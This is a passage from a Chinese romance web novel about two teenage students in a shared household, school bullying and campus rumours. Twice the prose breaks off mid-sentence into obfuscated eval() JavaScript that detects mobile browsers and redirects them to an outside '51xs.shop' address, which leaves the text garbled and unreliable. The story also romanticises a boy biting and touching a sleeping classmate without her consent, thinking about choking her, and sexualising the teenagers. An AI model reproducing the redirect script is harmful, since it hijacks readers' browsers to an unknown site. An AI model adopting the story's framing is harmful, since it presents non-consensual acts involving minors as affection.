谢劲舟把手插进裤兜里,看她:“你是不是没钱了?” 驰路一惊,但很快佯装没事道:“怎么可能!” “你的自行车没送去修,是丢了吧,你要是有钱,应该会第一时间去买车。” “所以?” 谢劲舟挑眉:“你故意不买车,是想天天蹭老子的宝贝?” “谁要天天蹭你的宝贝!”驰路从他身前走过,走进房间,“我明天就去拿车。” 谢劲舟也跟着进了房间,顺手带上门,掏出手机:“不是要给补电费、水费,转吧。” “……”这人是故意的吧! 驰路做出大款的样子,潇洒地双手环胸看他:“多少钱?” “不多,200。” “……”别说200,20她都没有。这让她第一次体会到捉襟见肘的难堪。 “好,你等着。”驰路立马给安然发了条江湖救急的短信:安安,先给我转1000,急急急! 安安:阿驰,你的号被盗了吧! 安安:盗号贼,死骗子,死全家! 驰路看得脑壳儿疼,这打脸现场来得太快,但她的应变能力也够好,淡定地跟谢劲舟说:“今天转款额度超了,明天给你转。” 谢劲舟把她的每个细微表情都尽收眼底,知道她在撒谎,但也不再为难她:“水费、电费就算了,你现在也是谢家一份子,要是没钱了,可以问我要,不丢人。” 驰路不可思议地看着谢劲舟,这是她认识的谢劲舟吗?她没有听错吧? “你这是在可怜我?” “你需要我可怜吗?” “谢劲舟,你说得没错,我的车被偷了,我也没钱了,但你放心,我还没穷途末路到要问你借钱。” 谢劲舟从口袋里拿出一盒烟,抖出一根刁在嘴里,眯眼看驰路:“问我借钱怎么了?” 驰路坐到桌前:“没什么,就是不想。” “怕欠我人情?”谢劲舟啪地打开打火机,橘色火焰腾地冒出,火舌蹿上烟尾。 他懒懒地靠着桌,抽起烟来。 “我们还没熟到借钱的地步。”驰路抬头看他,他身上透出慵懒的邪劲。 谢劲舟的眸子里露出晦暗的冷厉光芒,声音沉沉的:“驰路,你从来没把自己当谢家人吧。” “谢劲舟,谢谢你把我当谢家人。”驰路的眸底流过一抹暗伤,“家人,在我这里,只是一个名词,并不代表什么。” 谢劲舟说:“家人,不只是名词,还是动词。” 家人,意味着可以保护你、守护你。 谢劲舟在烟灰缸里摁灭烟,去阳台拿了条她洗脸的干毛巾,帮她擦头发:“头发这么湿,又吹空调,你是想感冒?” 驰路没动,任由他帮自己擦头发,想起了他下午去体育器材室解救她的那一幕。 他把欺负她的人一一撂倒,打得那么狠,但看她的时候,却是那么关切。 终究是同住一个屋檐下的人,时间久了,生疏会一点点消弭,关心会一点点累积。 她愣愣地坐着,好想有个肩膀可以依靠,好想找个怀抱大哭一场,把心里的委屈、难过、痛苦全都释放。 她不由自主地抱住了身边最近的这个人,把脑袋靠在了他的身上,喊着他的名字:“谢劲舟,谢劲舟……” “我在。”谢劲舟浑身一僵,停下手里的动作,把毛巾放到桌上,轻轻地抚摸她的脑袋,“我知道你现在不好受。” 驰路发现自己有些失常,很快推开谢劲舟:“你走吧。” “小乔在跟小冬玩,不希望我在。”谢劲舟没动。 驰路垂着脑袋,烟嗓沉沉:“你走,去哪里都好。” “驰路,你把我当什么了?”谢劲舟一把捏住她的下巴,挑起,让她抬头看自己,“你用完我,就赶我走?” 驰路想要拨开他的手,却发现他捏得越发紧了。 她为刚才的失控行为道歉:“刚才是我过界了,对不起。” 谢劲舟看到了她眼中的茫然、痛苦,手下的劲渐渐松了:“我哪儿都不去,就在这里。” 他干脆搬了张椅子过来,坐在驰路旁边。 驰路很想把他拖出去,但也许他只是想陪自己,想让她知道,她不是孤身一人,她还有他。 思及此,驰路没赶人,看谢劲舟时,心底裂开的碎片间,好似照射进一缕缕光,不耀眼,却足够暖人心。 就让这个说“老子有的是办法保护你!”的救世主留在她身边吧。 * 不知道是不是谢劲舟在的缘故,驰路的心思老无法集中,刷题的速度不但慢了,错题率也高了。 她的余光里是他翘起的二郎腿,时不时地晃动着,像一面迎风飞扬的旗帜,还有他那骨节分明的修长手指,一直在迅速地敲着屏幕,他在做什么?看起来分外专注。 “咕噜咕噜”,她的肚子连续作响,在寂静的房间里,显得格外清晰。 从下午到现在,她什么都没吃,只喝了水,此刻,已是饥肠辘辘,身体在叫嚣,可她什么都不想吃。 她继续刷题,但刷得格外慢,后来干脆不写了,扔了笔想复习下明天的数学,余光间却发现谢劲舟不在了。 他什么时候走的?椅子没搬走,他还会来吗? 房间一下子变得空荡荡,她的心瞬间下坠,好像有某块地方塌陷下去,急需什么来填补。 驰路忽然什么都不想做了,一下子泄了所有力气,合上数学课本,把自己砸进了床上。 饥渴交迫,根本无法睡着,一闭上眼睛,都是白日里黎静她们对她的羞辱画面,想到那些口水、那些硬生生戳到她喉咙里的零食,她就一阵作恶。 她有些后怕,黎静只是一个,以后会不会有第二个黎静、第三个黎静找她麻烦? 没有一大帮人拥趸的她,成了没有翅膀的鸟,飞不到高空。 那些难受又开始蜂拥而至,压迫着她的心脏,让她有些呼吸困难。 她坠入深海,海水一遍遍地朝她袭来,哪里才会有一股暖流将她包裹? “驰路,驰路……阿驰,醒醒。” 谁在喊她? 这世上还有谁会在乎她? 谁又能将她从深海里拽上来? 她朝喊的方向看去,睁开眼的瞬间,仿佛看到了一束光,那束光恰好打在了深海深处,直直地照在了她的骨骼上。 冰冻的灵魂,瞬间复活。 黑暗消散,海水褪去,她感到暖流一阵阵将她包裹,宛若置身冬日暖阳下,身体的每一处都被晒得暖烘烘的,到处都弥漫着阳光的味道。 他的眼睛那么幽深,深处好似藏着光,将她照亮。 她低声说:“谢劲舟,是你吗?” 她看他的眼神迷迷蒙蒙,中间像隔了一层迷雾,看不真切。 谢劲舟朝她伸手:“是我,起来吃饭。” 驰路握住他的手,迷迷糊糊地说:“这是梦吗?” 他用力把她拽起来,力气用过头,把人直接拽到了他怀里。 她就这样,结结实实地撞进了他怀里,感到一丝疼,总算是撞清醒了。 驰路从他怀里退开,揉了揉被撞得有点疼的额头,抬头看向谢劲舟:“你怎么来了?” 谢劲舟站着,垂眸间,从他的角度,能清晰地看到她精致锁骨下方的一片春光,有着少女的浑圆和挺拔。 少年心性使然,热血猛地上蹿,烧着他的身体,他的喉结忍不住滚动了几下。 但他很快移开视线,脸上仍是惯有的冷然、禁欲,声音也丝毫未起波澜,平静如常道:“给你煮了一碗面,尝尝。” …… “你给我煮面?”驰路没起来,仍坐在床上,用不可思议的眼神看谢劲舟。 他这是在开什么国际玩笑? 从她住进谢家,她就没见谢劲舟下过一次厨房,他会做饭?他会给她做饭? “过来。”谢劲舟一把将她拽下床,拉到桌前,让她坐下来。 驰路看到桌上一碗热气腾腾的面,才敢相信这或许是真的,她抬头看谢劲舟:“你煮的?” “不相信?” 驰路拨了拨面条,发现下面除了卧了一个鸡蛋,还藏了好多片火腿肠,如果是谢奶奶给她煮面,只放蛋,从没放过火腿肠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560738|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驰路看着从碗里升腾起的热气,眼眶有些泛酸,吸了吸鼻子:“为什么对我这么好?” 今天他发什么神经,帮她擦头发,赖着不走陪她,现在还亲自下厨给她煮面。 谢劲舟不禁勾了勾唇:“煮个面就算对你好了?” “谢谢舟哥。”驰路放下筷子,“但我不想吃。” 面条无罪,但她看着就起了犯恶心的生理反应,跟从前一样。 她有点想吐,生生忍住。 “为什么不想吃?”谢劲舟蹙眉,“嫌我做得没有奶奶做得好吃?你可以尝尝。” 告诉他,她不是嫌弃他煮的面,而是有阶段性的厌食症? 但她不想说。 驰路干脆说谎:“我不饿。” 然而,现实打脸来得太快,她的肚子“咕噜咕噜”作响,一声高过一声。 谢劲舟坐下来,像个监工似的,盯着驰路:“还不吃?” 面条的香味一阵阵地飘散,味道越浓,驰路越发觉得难受,胃里连续翻涌着恶心,一路往上,从喉咙冲到口腔。 最后,实在憋不住,驰路开始一声声干呕。 她连忙跑到卫生间,掀开马桶盖,干呕着。 很快有人轻轻拍她的后背,她警觉地一扭头,见是谢劲舟,这才放松下来。 她想说点什么,但什么都没说。 谢劲舟轻拍她的后背,让她没那么难受了。 她什么都没吐出来,只是吐了一些苦水,嘴巴里都是苦的,像吃了黄连。 等她再次抬头时,谢劲舟看到她脸上挂满泪水,不知是咳出来的,还是难受哭出来的,但看着楚楚可怜,让人心生怜惜。 谢劲舟抬手帮她擦眼泪,边擦边说:“哭什么,难看!” 驰路打开他的手,快速抹掉脸上的泪水:“谁哭了,咳出来的。” * 驰路走到水池边洗脸漱口,收拾好出来时,发现谢劲舟并没走,就在门外站着。 “干吗呢,当门神?” “不当门神,”谢劲舟掀了掀薄薄的眼皮,“要当也当你的神。” 驰路演戏道:“神明,你好,我是你唯一的信徒吗?” “如果你想,可以是。” “哦?”驰路面露惊讶,“看来这位神明深情专一啊,不过,我怎么听说,这位神明处处留情,还是月抛型。” “那是从前。” “现在改邪归正了?” 谢劲舟大言不惭:“老子一向坦坦荡荡,需要屁的改邪归正!” 驰路想要开门进去,谢劲舟挡住了她:“等会儿。” 只见他进去端出了面条,送到了隔壁房间,又转身下了楼,再上来时,拿了一个水瓶:“进来吧。” 谢劲舟帮她倒了一杯水。 驰路走进房间,发现面条的味道淡了很多:“怎么不让我吃面了?” 谢劲舟把水杯递给她:“你都吐成那样了,能吃吗?” 驰路接过来喝了几口,总算舒服了些。 她放下水杯:“我以为你会逼着我吃完。” 谢劲舟挑了挑眉:“我是那样的人?” “你会做出那样的事。” 就在刚才驰路洗脸漱口时,还担心谢劲舟会逼她吃面,但没想到他非但没逼她吃,还很善解人意地给她倒水。 谢劲舟看她,眸子暗沉幽深:“是不是之前也遇到过这样的事?” 驰路一愣,往日那些遭人侮辱、践踏的画面一一闪过,眉头皱紧,从喉间落出一个“嗯”字。 落地无声,却又沉沉。 谢劲舟的神色未变:“不像那样的人。” “怎样的人?” “被欺凌的人。” 她高傲如山巅野玫瑰,看起来不屑与其他玫瑰争芳斗艳,不与人为伍,亦不与人为敌,自成宇宙,她不欺凌谁,但谁也不能欺凌她。 “你相信因果吗?” “嗯。” “我曾种过一些因,后来的果,都是我应得的。” 曾经她作为大姐大时,冷眼旁观过别人的痛苦,却无动于衷。 殊不知一天天种下恶业,从小苗长成大树,结下恶果,遭到恶报。 谢劲舟的神色一凛:“你霸凌过别人?” 驰路沉默了。 后来,她才明白,旁观者也有罪。 谢劲舟放在身侧的右手紧紧握起,心里升腾起一阵怒火。 驰路看着他这幅模样,顿时觉得自己触到了他的逆鳞,垂下脑袋,双手插进头发里,痛苦无助:“我这样的人,不值得被谁保护。” 曾经和今日所遭遇的,是她在偿还那些罪孽。 “驰路。”谢劲舟的声音落在她头顶,凉凉的,像浸了夏日沙冰。 驰路抬头看他:“嗯?” “你不配当老子的信徒!”谢劲舟的脸上透出一股戾气,拿着水瓶,转身愤然走出房间。 22. 深夜咬小蝴蝶 「世界的灯盏熄灭了,深谷月亮升起了,暗夜亮了。 你是盛夏蝴蝶,也是深谷月亮。 小镇少年,想送你一朵玫瑰花,你会收下吗?」 ——《孤舟难行》 驰路听着门被砰的关上的声音,心重重颤了下。 她无力地趴到桌上,嘴角咧开一抹弧度,笑容苦涩。 连校霸都嫌弃她这样的人。 刚才为什么跟他说那些?为什么不隐瞒? 看来今天不只是谢劲舟发神经,她也发了神经! …… 驰路躺到床上,侧卧着,听到了隔壁房间传来的声音。 “哥哥,你怎么现在才回来,为什么要陪阿驰姐姐那么久?” “不是有小冬陪你吗。” “不,我要哥哥陪!” “阿驰姐姐今天不开心,哥哥希望她能开心一点。” 墙的隔音效果不好,能清晰地听出他声音里的温柔,像深浓夜色里洒下的一抹月光。 原来,不是小乔不要他陪,而是他特意来陪她了。 有什么东西,开始在驰路的心间化开,是融化的冰雪,也是甜丝丝的糖霜。 这些东西,渐渐将她空落落的身体,一点点填满。 好像没那么饿了,没那么空虚,也没那么难受了。 * 废弃的残破小屋,墙上结了层层蜘蛛网,地上满是尘垢。 无数双眼睛望着他,像吃人的怪兽,他们嘲笑他、骂他、对他拳打脚踢。 对待他,像对待一个物品,每一下落在他身上的拳头,都好像要把物品砸碎。 他的身体每一处都是疼的,但他没吭一声。 他越扛着、越不吭声,他们越是发了狠地打他。 他们狠狠地踢他的膝盖,让他下跪,让他喊他们“爸爸”。 他们用尽一切方法折磨他,作践他的身体,践踏他的尊严。 他的脸上都是血,血水流进嘴里,满是血腥味。 他的身上都是他们的鞋印,每个骨头缝里都渗出疼。 他无法抗衡他们,只能任由他们一次次找他麻烦、一次次霸凌他。 他感觉自己几乎要被打死了,眼睛被血水糊住,意识越来越模糊。 …… 谢劲舟猛然惊醒,头上全是冷汗,梦里的一切那么清晰、真实。 他再一次把曾经的不堪过往又重温一遍,恐惧如浪潮般漫上来。 只是他还没来得及如何消化这恐惧,他便发现怀里窝着一个人,垂眸一看,是驰路。 她又来了? 他现在并不想见到她,想到她曾霸凌过别人,便火气上涌。 他恨透了校园霸凌的人,因为他曾经被人霸凌过,深知对自己会造成多大的痛苦和伤害。 他抬手伸向驰路修长的脖颈,捏住,只要他用力,再用力,她就会窒息。 但他为什么下不去手?始终无法捏她一下。 她睡着的时候,过于纯情,过于乖巧,总给他一种“你要好好对我”的感觉。 最终,他只是在她颈侧咬了下,一点点加重力道,直到听到她喉间发出声音才放开她。 他以为她会醒,但她没有,还不安分地用手脚缠住他。 他听到她说:“对不起。” 谢劲舟心里的不快之弦忽然绷断,不管她是在跟谁说“对不起”,都让他觉得,身边的这个女孩,在为往日忏悔。 人都会犯错,都会在十字路口走错,一旦走错,就该一辈子背负十字架吗? 难道他就没有犯过错? 他不是把曾霸凌过他的人,全都一一还回去了。 他不是把他爸的腿给打断了。 他不是带着他的小弟们,在芳町三中横着走。 人人怕他,不就是他的手段够硬、够狠,而所谓的手段,无非是少年冲动时的以暴制暴。 房间里洒进来的那一点点光照在她的颈间,一道深深的牙印,像猛兽撕咬猎物咬下的,泛着红,似乎要溢出血。 谢劲舟抬手轻轻地抚摸着这道牙印,指腹间感到每一道凹凸,牢不可破的心房,似乎有一角忽然裂开,碎片似的飞溅,扎穿他的心,痛感蔓延。 她是被父母抛弃的小姑娘,被遗弃在芳町镇。 她心里到底装了多少痛苦,才会患上梦游症? 每次她缠住他的时候,他都觉得她应该梦魇缠身,想要找个港湾,想要靠一靠。 这样的感觉,他体会过,只是,他想找的不是港湾,而是一道光,可以驱散他世界里的所有黑暗,过去的,现在的,一一驱散。 他在黑暗里待太久了,都快烂死在里面了。 她的身体依然那般温软香甜,透出玫瑰的馥郁芬芳,小小的脑袋枕在他裸露的胸膛上。 谢劲舟第一次主动地抬手抱住她,把小小的她抱在怀里。 吊带睡裙后面拉得低,他温热的掌心贴着她的后背,感到一阵凉意,她应该从空调房刚来不久吧。 他想到了她后背上的那只断翅蝴蝶,想到她说“蝴蝶飞起来的样子最美,知道为什么吗?因为它是自由的。” 她是怀着怎样的心情去文这只蝴蝶的? 谢劲舟的手一点点上移,摸到她凸起的蝴蝶骨,再按照记忆中的样子,将这只断翅蝴蝶文身一一抚遍。 最后在断翅处停下,望着沉睡的驰路说: “阿驰,世界的灯盏熄灭了,深谷月亮升起了,暗夜亮了。” “你是盛夏蝴蝶,也是深谷月亮。” “小镇少年,想送你一朵玫瑰花,你会收下吗?” 窗外月色迷人,室内光影迷醉,沉睡的人沉睡,清醒的人清醒。 不会有谁,听到这段少年心事。 * “阿驰,起床了。” “阿驰,小懒虫,怎么还不起床?” “阿驰,再不起床,老子就要把你拽下来了!” 迷迷糊糊间,驰路看到谢劲舟单膝跪在床边,抬起胳膊就要把她拽下来,吓得她赶紧醒了,头上冒出冷汗。 她看向右侧,赫然发现,刚才的不过是场梦,身边并没有梦里时而对她温柔又时而对她凶巴巴的谢劲舟。 驰路这才松了口气,抹着额头上的冷汗,垂眸间看到一根吊带的带子掉了下来,刚想拉上去,却发现上面有一道青紫色的痕迹。 什么时候弄的?她记得昨天洗澡的时候还没有,难道是晚上自己不小心磕到碰到的?但不至于啊。 驰路想不通也就不想了,脑袋感到晕晕乎乎的,大概昨晚做了太多奇奇怪怪的梦,有她看着别人欺负同班同学的,有给她强喂食物不把她当人看的,也有捏着她下巴发狠的谢劲舟、在她绝望之际帮她解围的谢劲舟…… 太多太多的梦,如同绵延不绝的山脉,强行闯入她的世界。 她处于混沌中,以至于走进卫生间前,根本没注意里面有没有人,直接开门进去了。 一进去才发现不对劲,里面热烘烘的,全是雾气。 这谁大早上的洗澡? 她刚用手挥着氤氲水汽,挥舞间,猛然发现水龙头下站着一个人,吓得她“啊”地叫出了声:“你怎么在这里?” 是浑身赤裸的谢劲舟,只有下身用毛巾挡着。 谢劲舟倒是格外镇定:“这是我家。” 驰路惊讶:“你平时都不会这个时间洗澡啊。” “老子想什么时候洗就什么时候洗。” 谢劲舟浑身都是水珠,落在他的眉眼间、胸肌处、腹肌处,还有那性感的人鱼线上。 此时的谢劲舟,如高山弥漫了一整晚的夜雾,高远、神秘,又极具野性的诱惑力。 谢劲舟见驰路的眼睛在他身上逡巡,勾了勾唇,挑眉:“这么喜欢看老子的身体?” 驰路立马虚心地收回落在他人鱼线上的视线,抬头看他那张痞帅的脸:“谁要看!” 她转身要走,手腕却被拽住,挣脱不开。 “干吗?”驰路转头看他,只见他的眼眸里闪过一丝莫名笑意。 “看完老子就走?”谢劲舟把她往自己身边一拽,让她几乎要贴近他的胸膛。 咫尺之间,热气升腾,小小的空间里,溢满清爽的皂香,还有他身体 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驰路侧了侧头,远离这股热气,他却追上去:“老子给你示范下什么叫耍流氓。”他对准她泛红的耳垂,一口咬了下去。 “浑蛋!臭流氓!”驰路一把用力将他推开,直接把人推得撞到墙上。 她迅速开了门,跑进房间,心怦怦直跳。 驰路把手按在胸口,跑三千米也没见跳这么快,这是怎么了? 耳垂很烫,仿佛被火烙过般,她摸上去,上面残留着他留下的热度,还有一丝湿意。 空调的温度打得很低,可为什么她的脸也越来越烫,连同每根血管里都涌上一阵阵灼热。 她想到方才谢劲舟那股坏劲,心里有种说不出来的感觉,既厌恶,又羞耻。 * 下楼吃饭时,难得见到早起的谢林乔,她正玩着弹弓,对准天空的一只麻雀打过去,啪,小石头飞上天空,擦过麻雀的翅膀,惊得麻雀扑棱着翅膀急速飞远。 谢奶奶喊谢林乔:“小乔,别玩了,吃饭。” 谢林乔见没打着麻雀,又拿出一个小石头,拉开弹弓,对准菜圃黄瓜藤上的一只麻雀,啪的沉闷声响,稳稳地击中麻雀的身体,麻雀掉落在地,在地上挣扎着,想要飞,却飞不起来。 谢林乔走到麻雀身边,摸了摸刚才打中麻雀的地方,没有外伤。 她抓住麻雀的身体,跑到谢奶奶身边:“奶奶,看,我今天又打中了一只麻雀。” 谢奶奶笑着说:“小乔厉害。” 驰路走到她身边,看着拼命挣扎的麻雀,蹲下身跟谢林乔说:“小乔,你打算怎么对待这只麻雀?” “让哥哥烤着吃。” “……”驰路看着已经坐到桌上吃饭的谢劲舟,他跟往常一样,吊儿郎当地吃着饭,边吃饭边玩手机,沉浸在自己的世界里,仿佛这里的一切都跟他无关。 驰路跟谢林乔说:“小乔,你看这只麻雀痛苦吗?” 谢林乔看着在她手心里扑腾的麻雀,点了点头。 “它也是一个生命,如果被烤着吃,它会不会更痛苦?”驰路耐着性子说,“如果你放它走了,它就解脱了,不会再痛苦,你希望它是自由的,还是痛苦的?” “自由。”谢林乔松开了手,放飞麻雀。 麻雀挥舞着翅膀,飞向天空。 “小乔,下次不要再吃烤麻雀了,好不好?” “嗯。” “下次阿驰姐姐带你去吃烤棉花糖。” “好!”谢林乔收起弹弓,跟着驰路一起去吃饭,看到了驰路红红的耳垂,凑过去看,“阿驰姐姐,你耳朵上怎么有牙印?” 驰路的脸刷地红了,连同耳朵也红了起来。 她去看罪魁祸首,那浑蛋看都没看她一眼,淡定得不像话。 驰路挤出一抹笑,咬牙切齿道:“小狗咬的。” “不像小狗咬的,怎么也是狼狗咬的。” 驰路朝说话的人看去。 他朝她投来一抹邪笑,蔫儿坏,眸光深而锐利,像极了捕捉猎物的狼狗。 23. 小蝴蝶上贴吧热帖了 「脖颈处的紫色痕迹,像极吻痕。 落在青天白日,仿佛是谁来过的证明。」 ——《小蝴蝶的暗夜》 罗子昂听到一阵轰隆作响的摩托车声从门前驶过时,正拿着一根玉米坐在院子里啃,头一抬,看到了一辆拉风的深蓝色摩托车。 他连忙跑出去,吸了一嘴的车尾气,呛得他眯眼咳嗽几声。 隔着浓重的车尾气,罗子昂还是看到了摩托车上不只一人,后座上坐着一个扎着马尾辫、穿着芳町三中校服的女生。 “我艹,舟爷又送驰妹上学了!”罗子昂不敢置信道。 昨天他问谢劲舟为什么要送驰妹去上学,他说是谢奶奶下达的命令,他不得不从,那今天呢?难不成谢奶奶又下达了命令?还是,他要做驰妹的骑士,守护她去学校,不让她受别人的欺凌? 这还是他认识的谢劲舟吗? 啧啧啧,舟爷呀舟爷,你的桃花又要开了吗? * 谢劲舟骑着摩托车,一路风驰电掣地开到了芳町三中,在一众走路的、骑自行车的同学中显得格外特立独行。 哪怕在头盔下,驰路依然能感受到周围朝她投来的目光,仿佛他们在看一场世纪奇观。 其实,昨晚谢劲舟说“老子有的是办法保护你!”的时候,她并没有抱多大期望。 他这样桀骜不驯的人,一看就是不受任何束缚,怎么会为了她做出改变。 但她没想到,他今天会主动送她来学校,还主动送她到笃行楼下,几乎用一种强悍的宣誓主权的方式告诉所有人,他们不是陌生人,他们的关系不一般。 因为他把她当谢家人,所以他在用他的方式在保护着她? 谢劲舟开着摩托车去车棚,驰路往教室走的路上,有不少路过的同学用异样的眼神看她,她听到了议论声: “她就是高三七班的转校生吗?” “就是她。” “长得也就这样啊,不就是乖了些,皮肤白了些吗,校霸怎么会喜欢这样的!” “说不定她早就爬上了校霸的床了,要不然校霸怎么会对她这样好。你看贴吧里说的了吗,她一来就勾引了两个男生,一个是转校生江迟,一个是校霸。” “不要脸!” …… 各种难听的话如雨后春笋般冒了出来。 只要跟知名校园风云人物挂上勾,必然会成为他人口中议论的对象。 驰路对此并不稀奇,仍旧淡定地走到教室。 但刚进教室,便被人堵住了,是慌慌张张跑来的许婉:“驰路,大事不妙了!” 驰路被她撞得往后退了一步:“怎么了?” 许婉拿着手机给她看:“看看,你上校园贴吧热帖了!” 驰路一看,果然,热帖第一名是:【校霸换了新口味,新女友竟然是她!】 点进去,有图有真相,图片贴的是昨晚他们在车棚时,谢劲舟给她扣头盔的图、她坐在摩托车后座上双手扶着谢劲舟腰的图、暗夜里谢劲舟带她驰骋在校园里的图。 不知道谁拍的,拍的角度都很不错。 每一帧都给人一种“这女生是谢劲舟女朋友”的感觉。 这样的事,驰路之前没少经历过,但这次跟之前全然不同。 她并不想在芳町三中做什么风云人物、什么校霸的女朋友,这只会将她推向风口浪尖。 她只想安安静静地做一名普通学生,做他人眼中平平无奇的同学,做老师眼中乖乖学习的好学生。 驰路握紧了手机,怒从心中生。 别人说她什么,她可以不在乎,但这事眼看已经朝着她不能接受的方向发展,她无法再做到心如止水。 驰路把手机还给了许婉,坐到座位上,看到同桌也用一种异样的不可置信的眼神看她。 驰路转头瞪同桌一看,那眼神锋利如刀片,吓得她的同桌立马移开视线。 她放下书包,刚想把课本从书包里拿出来,看到桌上有一瓶灌装气泡水,白桃味的,上面还泛着冷气。 驰路随手把书包放到椅子后面,拿起冰镇气泡水,单手拧开瓶盖,咕噜咕噜灌了一大瓶,喝完用力捏罐身,直到捏扁了才转身,朝教室后面的垃圾桶扔去,一扔击中。 “我艹,驰妹好身手!”罗子昂进来时便看到了这一幕,连忙鼓掌。 驰路朝他看去,看到了他身边双手插兜的谢劲舟,他的眸子沉沉的、冷冷的,宛若极寒冰原,这是谁惹他了? …… 驰路收了目光,看到方才放冰镇气泡水的下面放了一张纸,纸被冷气浸润,有一片湿了。 纸上用清秀的字写着: 盛夏蝉鸣,汽水酸甜,你的一天,可与太阳并肩。 我相信,你是单身,你不会喜欢谢劲舟那样的人! 她看着最后一行字,看了好久,看着看着忽然笑了。 为什么她不会喜欢谢劲舟那样的人? 谢劲舟那样的人,天生具有一种魅力,每个女生见了他都会忍不住想要靠近。 他不光拥有好看的皮囊,浑身还透着一股野性难驯的气质。 他是诱人的,也是危险的,似毒药,一旦服用,便会上瘾。 他的眼神里,总透出似有若无的疏离感,看似谁都可以走近他,但谁也走不进他的内心。 是的,她不会喜欢这样的人,太过危险,她不会让自己陷入危险之境。 驰路转头看向江迟,发现他正看着自己,她并没有躲避,而是直直地望着他:“谢谢!” 江迟安慰她:“贴吧上的事,你不用太在意,热度只是一阵,很快就会过去。” “他们想说什么就说什么吧。”驰路无法堵住那些人的嘴,就让他们说吧。 * 班里闹哄哄的,有抄作业的,有吃早饭的,有议论纷纷的,也有像驰路这种背课本的,但她背得很慢,不停分神。 心头一阵烦躁,刚闭上眼睛,打算凝神几十秒再背,结果听到有人喊她:“驰路,来我办公室一趟。” 驰路抬头,看到站在讲台上的老马,正看着她。 老马神色严肃,一看就知道找她不是什么好事。 一到办公室,老马没有直入主题,而是左拐右绕地说了一堆,诸如高三了,这一年是至关重要的一年,关系到人生的重大转折,要一心扑在学习上,不要分心去做别的…… 驰路垂着脑袋默默听着,双手交叉着放在身前,看起来乖得不行。 但她心里已经格外不耐,她很厌烦老师跟她念叨这些,之前听太多了,一听到这些就起了抵触心理。 驰路实在听不下去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560740|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向老马,趁他停顿之际说:“马老师,我有哪里做得不好,你可以直说。” 老马喝了口水,润了润喉咙,开始切入正题:“驰路啊,你跟谢劲舟是不是在谈?” * “驰妹,马三拍找你干吗了?”一下早读课,罗子昂箭一般嗖地跑到驰路桌旁,“是不是训你了?你看起来脸色不太好啊!” 驰路朝罗子昂扯出一个笑容:“这样才算脸色好?” 她只是有些累,似霜打的茄子,蔫蔫的。 “是不是说你跟舟哥的事了?”罗子昂朝谢劲舟看去,发现他正在看手机,窗外围了不少来看他的女生,他却头也没抬,“估计马三拍也得找舟爷。” 驰路趴到桌上:“他问我有没有跟谢劲舟谈。” 罗子昂来了兴致,见她同桌走了,赶紧坐下来:“驰妹,你怎么说?” “还能怎么说,实话实话。” “怎么实话实说?”罗子昂凑近她,压低声音,“驰妹,你不会真跟舟爷在谈吧?” 就那些照片,别说别人信以为真,罗子昂怎么看怎么觉得他俩铁定在一起了。 “有没有跟你舟爷谈,你去问他啊!” “舟爷让我来问你。”罗子昂说完立马捂嘴,发现自己口快说漏嘴了。 驰路稍稍侧头去看后排的谢劲舟,他被一众女生围观,却好似看不见,自顾自地玩手机。 他什么时候这么关心自己了?是怕自己出卖他?应该不至于,他在芳町三中什么样老马肯定比她更清楚。 驰路朝罗子昂勾了勾手指,示意他靠近:“你去告诉他,我跟老马说了,我们不是在处对象,我是他妹,他是我哥,我们是住在一起没有血缘关系的兄妹。” 罗子昂拍着胸脯,笑着跟驰路说:“驰妹,保证完成任务!” 他刚说完,视线落到她的脖颈处,发现上面有一块可疑的紫色,惊道:“驰妹,你这是什么?” “哪儿?” “这儿。”罗子昂指了指她左脖颈,“不会是舟爷留下的吧!” “怎么可能!”驰路拿出手机,看相机里自己,看着左脖颈,还真有一块异样的紫色,不像蚊子咬的,像极吻痕。 她矢口否认:“应该是蚊子咬的。” 这时,她的同桌回来了,罗子昂也就回去了。 驰路看着脖颈处的紫色,又看了看耳垂上的紫色,如出一辙的印痕,还有,她的左肩处也有一块。 她心中满是疑惑,左思右想,想不出到底是哪里来的。 难道是谢劲舟深更半夜来她房间偷袭了? 但他不像这样的人,何况他并不喜欢自己,干吗要做这种事! …… 不知道罗子昂是怎么跟谢劲舟转达的,驰路看到谢劲舟听着听着干脆把手机放到一旁,勾起了嘴角,甚至还朝她看过来,深邃的眼眸里露出意味不明的笑意。 下一秒,驰路的手机振动了,她拿来一看,是谢劲舟发给她的信息。 【Z】:妹妹,叫一声哥哥给我听听,要语音版的。 这人是要趁此占她便宜,做梦! 【燕尾蝶】:想听我叫你哥哥?下辈子吧! 【Z】:你是想让我跟全班宣布,你是我的人? …… 这人是要发什么神经? 24. 恶毒谣言四起 「山有山的起伏,谣言有谣言的荒谬,生命有生命的潦草。 但你不该是被议论的风景,你该待在高山,不该任人拉下山底。」 ——《孤舟难行》 驰路不想把这事搞大,她知道谢劲舟身上刻着疯劲,什么事都做得出来,只好将脑袋埋在桌子下面,压低了声音,用她那独特的金属烟嗓说:“哥哥……你真是个浑蛋!” 一说完,她又羞又恼,抬头,悄悄去看谢劲舟,看到他正把耳朵贴着手机,嘴角勾起一抹得逞的笑。 * 谢劲舟没能逃掉被老马喊去办公室临时游的“爱的教育”,第一节课间便被叫去了。 教室里议论声一片,有说老马让他穿校服的,有说他被老马训上课要好好听讲别老睡觉的,有说让他不要早恋的…… 